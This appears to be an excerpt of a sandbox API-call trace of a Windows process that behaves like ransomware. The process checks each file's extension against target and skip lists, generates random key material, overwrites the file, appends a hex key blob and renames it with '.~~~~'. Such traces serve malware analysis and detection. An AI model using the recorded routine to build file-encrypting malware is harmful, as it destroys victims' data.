	[0084.991] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.991] CloseHandle (hObject=0x120) returned 1
	[0084.992] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5a28
	[0084.992] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.inf.~~~~")) returned 1
	[0084.992] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5a28 | out: hHeap=0x300000) returned 1
	[0084.992] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0084.992] GetLastError () returned 0x0
	[0084.992] RtlWakeConditionVariable () returned 0x365f70
	[0084.993] GetCurrentThreadId () returned 0x9f4
	[0084.993] GetCurrentThreadId () returned 0x9f4
	[0084.993] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808e58
	[0084.993] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3548 | out: hHeap=0x300000) returned 1
	[0084.993] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39c970 | out: hHeap=0x300000) returned 1
	[0084.993] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3548
	[0084.993] lstrlenW (lpString=".scr") returned 4
	[0084.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".scr") returned 0x0
	[0084.993] lstrlenW (lpString=".cmd") returned 4
	[0084.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".cmd") returned 0x0
	[0084.993] lstrlenW (lpString=".dll") returned 4
	[0084.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".dll") returned 0x0
	[0084.993] lstrlenW (lpString=".bat") returned 4
	[0084.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".bat") returned 0x0
	[0084.993] lstrlenW (lpString=".cpl") returned 4
	[0084.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".cpl") returned 0x0
	[0084.993] lstrlenW (lpString=".sys") returned 4
	[0084.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".sys") returned 0x0
	[0084.993] lstrlenW (lpString=".msc") returned 4
	[0084.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".msc") returned 0x0
	[0084.993] lstrlenW (lpString=".com") returned 4
	[0084.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".com") returned 0x0
	[0084.993] lstrlenW (lpString=".lnk") returned 4
	[0084.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".lnk") returned 0x0
	[0084.993] lstrlenW (lpString=".msp") returned 4
	[0084.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".msp") returned 0x0
	[0084.993] lstrlenW (lpString=".pif") returned 4
	[0084.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".pif") returned 0x0
	[0084.993] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0084.993] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0084.994] lstrlenW (lpString=".sqb") returned 4
	[0084.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".sqb") returned 0x0
	[0084.994] lstrlenW (lpString=".ost") returned 4
	[0084.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".ost") returned 0x0
	[0084.994] lstrlenW (lpString=".txt") returned 4
	[0084.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".txt") returned 0x0
	[0084.994] lstrlenW (lpString=".mdt") returned 4
	[0084.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".mdt") returned 0x0
	[0084.994] lstrlenW (lpString=".BDB") returned 4
	[0084.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".BDB") returned 0x0
	[0084.994] lstrlenW (lpString=".eql") returned 4
	[0084.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".eql") returned 0x0
	[0084.994] lstrlenW (lpString=".DBF") returned 4
	[0084.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".DBF") returned 0x0
	[0084.994] lstrlenW (lpString=".EQL") returned 4
	[0084.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".EQL") returned 0x0
	[0084.995] lstrlenW (lpString=".FDB") returned 4
	[0084.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".FDB") returned 0x0
	[0084.995] lstrlenW (lpString=".EDB") returned 4
	[0084.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".EDB") returned 0x0
	[0084.995] lstrlenW (lpString=".DACPAC") returned 7
	[0084.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".DACPAC") returned 0x0
	[0084.995] lstrlenW (lpString=".VHD") returned 4
	[0084.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".VHD") returned 0x0
	[0084.995] lstrlenW (lpString=".DBV") returned 4
	[0084.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".DBV") returned 0x0
	[0084.995] lstrlenW (lpString=".dacpac") returned 7
	[0084.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".dacpac") returned 0x0
	[0084.995] lstrlenW (lpString=".sdf") returned 4
	[0084.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".sdf") returned 0x0
	[0084.995] lstrlenW (lpString=".accdb") returned 6
	[0084.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".accdb") returned 0x0
	[0084.995] lstrlenW (lpString=".DBX") returned 4
	[0084.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".DBX") returned 0x0
	[0084.995] lstrlenW (lpString=".MDT") returned 4
	[0084.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".MDT") returned 0x0
	[0084.995] lstrlenW (lpString=".SQB") returned 4
	[0084.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".SQB") returned 0x0
	[0084.995] lstrlenW (lpString=".vhd") returned 4
	[0084.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".vhd") returned 0x0
	[0084.995] lstrlenW (lpString=".bac") returned 4
	[0084.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".bac") returned 0x0
	[0084.996] lstrlenW (lpString=".mdf") returned 4
	[0084.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".mdf") returned 0x0
	[0084.996] lstrlenW (lpString=".BAK") returned 4
	[0084.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".BAK") returned 0x0
	[0084.996] lstrlenW (lpString=".BAC") returned 4
	[0084.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".BAC") returned 0x0
	[0084.996] lstrlenW (lpString=".dbs") returned 4
	[0084.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".dbs") returned 0x0
	[0084.996] lstrlenW (lpString=".vhdx") returned 5
	[0084.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".vhdx") returned 0x0
	[0084.996] lstrlenW (lpString=".NDF") returned 4
	[0084.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".NDF") returned 0x0
	[0084.996] lstrlenW (lpString=".dat") returned 4
	[0084.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".dat") returned 0x0
	[0084.996] lstrlenW (lpString=".DBS") returned 4
	[0084.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".DBS") returned 0x0
	[0084.996] lstrlenW (lpString=".CKP") returned 4
	[0084.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".CKP") returned 0x0
	[0084.996] lstrlenW (lpString=".edb") returned 4
	[0084.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".edb") returned 0x0
	[0084.996] lstrlenW (lpString=".PST") returned 4
	[0084.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".PST") returned 0x0
	[0084.996] lstrlenW (lpString=".dbf") returned 4
	[0084.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".dbf") returned 0x0
	[0084.996] lstrlenW (lpString=".SQL") returned 4
	[0084.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".SQL") returned 0x0
	[0084.996] lstrlenW (lpString=".pst") returned 4
	[0084.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".pst") returned 0x0
	[0084.996] lstrlenW (lpString=".dbv") returned 4
	[0084.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".dbv") returned 0x0
	[0084.996] lstrlenW (lpString=".SDF") returned 4
	[0084.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".SDF") returned 0x0
	[0084.996] lstrlenW (lpString=".dtxs") returned 5
	[0084.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".dtxs") returned 0x0
	[0084.996] lstrlenW (lpString=".db3") returned 4
	[0084.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".db3") returned 0x0
	[0084.997] lstrlenW (lpString=".OST") returned 4
	[0084.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".OST") returned 0x0
	[0084.997] lstrlenW (lpString=".dbx") returned 4
	[0084.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".dbx") returned 0x0
	[0084.997] lstrlenW (lpString=".DB3") returned 4
	[0084.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".DB3") returned 0x0
	[0084.997] lstrlenW (lpString=".DAT") returned 4
	[0084.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".DAT") returned 0x0
	[0084.997] lstrlenW (lpString=".VHDX") returned 5
	[0084.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".VHDX") returned 0x0
	[0084.997] lstrlenW (lpString=".ndf") returned 4
	[0084.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".ndf") returned 0x0
	[0084.997] lstrlenW (lpString=".DB") returned 3
	[0084.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".DB") returned 0x0
	[0084.997] lstrlenW (lpString=".sql") returned 4
	[0084.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".sql") returned 0x0
	[0084.997] lstrlenW (lpString=".MYD") returned 4
	[0084.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".MYD") returned 0x0
	[0084.997] lstrlenW (lpString=".DBT") returned 4
	[0084.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".DBT") returned 0x0
	[0084.997] lstrlenW (lpString=".ACCDB") returned 6
	[0084.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".ACCDB") returned 0x0
	[0084.997] lstrlenW (lpString=".fdb") returned 4
	[0084.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".fdb") returned 0x0
	[0084.997] lstrlenW (lpString=".bak") returned 4
	[0084.998] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".bak") returned 0x0
	[0084.998] lstrlenW (lpString=".myd") returned 4
	[0084.998] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".myd") returned 0x0
	[0084.998] lstrlenW (lpString=".DTXS") returned 5
	[0084.998] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".DTXS") returned 0x0
	[0084.998] lstrlenW (lpString=".ckp") returned 4
	[0084.998] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".ckp") returned 0x0
	[0084.998] lstrlenW (lpString=".dbt") returned 4
	[0084.998] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".dbt") returned 0x0
	[0084.998] lstrlenW (lpString=".db") returned 3
	[0084.998] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".db") returned 0x0
	[0084.998] lstrlenW (lpString=".TXT") returned 4
	[0084.998] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".TXT") returned 0x0
	[0084.998] lstrlenW (lpString=".MDF") returned 4
	[0084.998] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".MDF") returned 0x0
	[0084.998] lstrlenW (lpString=".bdb") returned 4
	[0084.998] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".bdb") returned 0x0
	[0084.998] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.998] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.998] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0084.998] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0084.998] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0084.999] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0084.999] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0084.999] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0084.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0084.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0084.999] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20498976431) returned 1
	[0085.000] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9c7ffe90, dwHighDateTime=0x1d60e1e)) 
	[0085.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0085.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0085.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0085.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39c970
	[0085.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0085.000] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39c970 | out: hHeap=0x300000) returned 1
	[0085.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0085.000] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0085.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3890
	[0085.000] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0085.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.000] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3890 | out: hHeap=0x300000) returned 1
	[0085.000] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0085.000] GetLastError () returned 0x0
	[0085.001] GetLastError () returned 0x0
	[0085.001] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0085.001] GetLastError () returned 0x0
	[0085.001] GetLastError () returned 0x0
	[0085.009] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff5f2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0085.009] WriteFile (in: hFile=0x120, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0xa0e, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x25dfec0*=0xa0e, lpOverlapped=0x0) returned 1
	[0085.009] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0085.009] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.009] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0085.009] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0085.009] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0085.009] CloseHandle (hObject=0x120) returned 1
	[0085.010] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5a28
	[0085.010] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif.~~~~")) returned 1
	[0085.013] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5a28 | out: hHeap=0x300000) returned 1
	[0085.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0085.014] GetLastError () returned 0x0
	[0085.014] RtlWakeConditionVariable () returned 0x365f70
	[0085.014] GetCurrentThreadId () returned 0x9f4
	[0085.014] GetCurrentThreadId () returned 0x9f4
	[0085.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5a28
	[0085.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a58b8 | out: hHeap=0x300000) returned 1
	[0085.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2a30 | out: hHeap=0x300000) returned 1
	[0085.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a58b8
	[0085.014] lstrlenW (lpString=".scr") returned 4
	[0085.014] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".scr") returned 0x0
	[0085.014] lstrlenW (lpString=".cmd") returned 4
	[0085.014] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".cmd") returned 0x0
	[0085.014] lstrlenW (lpString=".dll") returned 4
	[0085.014] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".dll") returned 0x0
	[0085.014] lstrlenW (lpString=".bat") returned 4
	[0085.014] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".bat") returned 0x0
	[0085.014] lstrlenW (lpString=".cpl") returned 4
	[0085.014] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".cpl") returned 0x0
	[0085.014] lstrlenW (lpString=".sys") returned 4
	[0085.014] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".sys") returned 0x0
	[0085.014] lstrlenW (lpString=".msc") returned 4
	[0085.014] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".msc") returned 0x0
	[0085.014] lstrlenW (lpString=".com") returned 4
	[0085.014] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", lpSrch=".com") returned 0x0
	[0085.014] lstrlenW (lpString=".lnk") returned 4
